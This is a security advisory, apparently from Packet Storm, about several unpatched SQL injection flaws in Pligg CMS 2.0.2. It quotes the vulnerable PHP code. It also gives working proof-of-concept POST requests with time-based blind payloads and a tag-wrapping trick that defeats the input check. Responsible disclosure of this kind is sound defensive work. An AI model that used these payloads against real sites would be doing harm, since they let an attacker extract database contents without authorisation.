Pligg CMS 2.0.2 SQL Injection

Type packetstorm
Reporter Tim Coen
Modified 2015-10-30T00:00:00


                                            `Security Advisory - Curesec Research Team  
1. Introduction  
Affected Product: Pligg CMS 2.0.2  
Fixed in: not fixed  
Fixed Version Link: n/a  
Vendor Website:  
Vulnerability Type: SQL Injection  
Remote Exploitable: Yes  
Reported to vendor: 09/01/2015  
Disclosed to public: 10/07/2015  
Release mode: Full Disclosure  
CVE: n/a  
Credits Tim Coen of Curesec GmbH  
2. Overview  
There are multiple SQL Injection vulnerabilities in Pligg CMS 2.0.2. One of  
them does not require any credentials, and allows the direct extraction of data  
from the database.  
3. SQL Injection  
Pligg CMS is vulnerable to SQL injection. It is possible to extract data from  
all databases that the pligg database user has access to.  
Credentials are not required.  
Proof Of Concept  
if(isset($_GET['reply']) && !empty($parent_comment_id)){  
$main_smarty->assign('the_comments', get_comments(true,0,$_GET['comment_id']));  
function get_comments ($fetch = false, $parent = 0, $comment_id=0, $show_parent=0){  
Global $db, $main_smarty, $current_user, $CommentOrder, $link, $cached_comments;  
//Set comment order to 1 if it's not set in the admin panel  
if (isset($_GET['comment_sort'])) setcookie('CommentOrder', $CommentOrder = $_GET['comment_sort'], time()+60*60*24*180);  
elseif (isset($_COOKIE['CommentOrder'])) $CommentOrder = $_COOKIE['CommentOrder'];  
if (!isset($CommentOrder)) $CommentOrder = 1;  
If ($CommentOrder == 1){$CommentOrderBy = "comment_votes DESC, comment_date DESC";}  
If ($CommentOrder == 2){$CommentOrderBy = "comment_date DESC";}  
If ($CommentOrder == 3){$CommentOrderBy = "comment_votes ASC, comment_date DESC";}  
If ($CommentOrder == 4){$CommentOrderBy = "comment_date ASC";}  
$comments = $db->get_results("SELECT *  
FROM " . table_comments . "  
WHERE (comment_status='published' $status_sql) AND  
comment_link_id=$link->id AND comment_id = $comment_id  
ORDER BY " . $CommentOrderBy);  
4. Blind SQL Injection (Admin Area)  
There is a blind SQL Injection in the admin area of Pligg CMS. This allows an  
attacker that gained admin credentials to extract data from the database.  
The problem exists because the index of the submitted "enabled" POST array is  
used in a query. The value is escaped - so using quotes in the injection is not  
possible - but it does not place the value in between quotes.  
Proof Of Concept  
POST /pligg-cms-master/admin/admin_users.php HTTP/1.1  
frmsubmit=userlist&admin_acction=2&token=VALID_CSRF_TOKEN&all1=on&enabled[2 AND IF(SUBSTRING(version(), 1, 1)%3D5,BENCHMARK(500000000,version()),null) %23]=1  
// admin/admin_users.php  
foreach($_POST["enabled"] as $id => $valuea)  
$_GET['id'] = $id = $db->escape($id);  
$user= $db->get_row('SELECT * FROM ' . table_users ." where user_id=$id");  
5. Possibly SQL Injection  
The upload module is vulnerable to Blind SQL Injection via the "comment" as  
well as "id" parameter.  
The module seems to be unused at the moment, but if it were to be used in the  
future, or if an attacker finds a different way to execute it, it would be  
The requests to trigger the vulnerabilities would be:  
POST http://localhost/pligg-cms-master/modules/upload/upload.php  
id=1&number=1&comment=1' AND IF(SUBSTRING(version(), 1, 1)%3D5,BENCHMARK(500000000,version()),null) %23  
POST http://localhost/pligg-cms-master/modules/upload/upload.php  
id=1<script' or 1%3D1%23></script>&number=1&comment=1  
if ($_POST['id'])  
$linkres=new Link;  
$linkres->id = sanitize($_POST['id'], 3);  
if(!is_numeric($linkres->id)) die("Wrong ID");  
if(!is_numeric($_POST['number']) || $_POST['number']<=0) die("Wrong number");  
if($_POST['number'] > get_misc_data('upload_maxnumber')) die("Too many files");  
// Remove old file and thumbnails with same number  
$sql = "SELECT * FROM ".table_prefix."files WHERE ".($isadmin ? "" : "file_user_id='{$current_user->user_id}' AND")." file_link_id='{$_POST['id']}' AND file_number='{$_POST['number']}' AND file_comment_id='$_POST[comment]'";  
The first problem is that $_POST[comment] is never sanitized.  
The second problem is that $_POST['id'] is first sanitized by removing tags,  
then it is checked if that result is nummeric, and finally the original POST  
value is used. Because of this, it is possible to put the injection inside tags  
to bypass the check.  
6. Solution  
This issue was not fixed by the vendor.  
7. Report Timeline  
09/01/2015 Informed Vendor about Issue (no reply)  
09/22/2015 Reminded Vendor of disclosure date  
09/22/2015 Vendor replied, issue has been send to staff  
09/29/2015 Reminded Vendor of disclosure date (no reply)  
10/07/2015 Disclosed to public  
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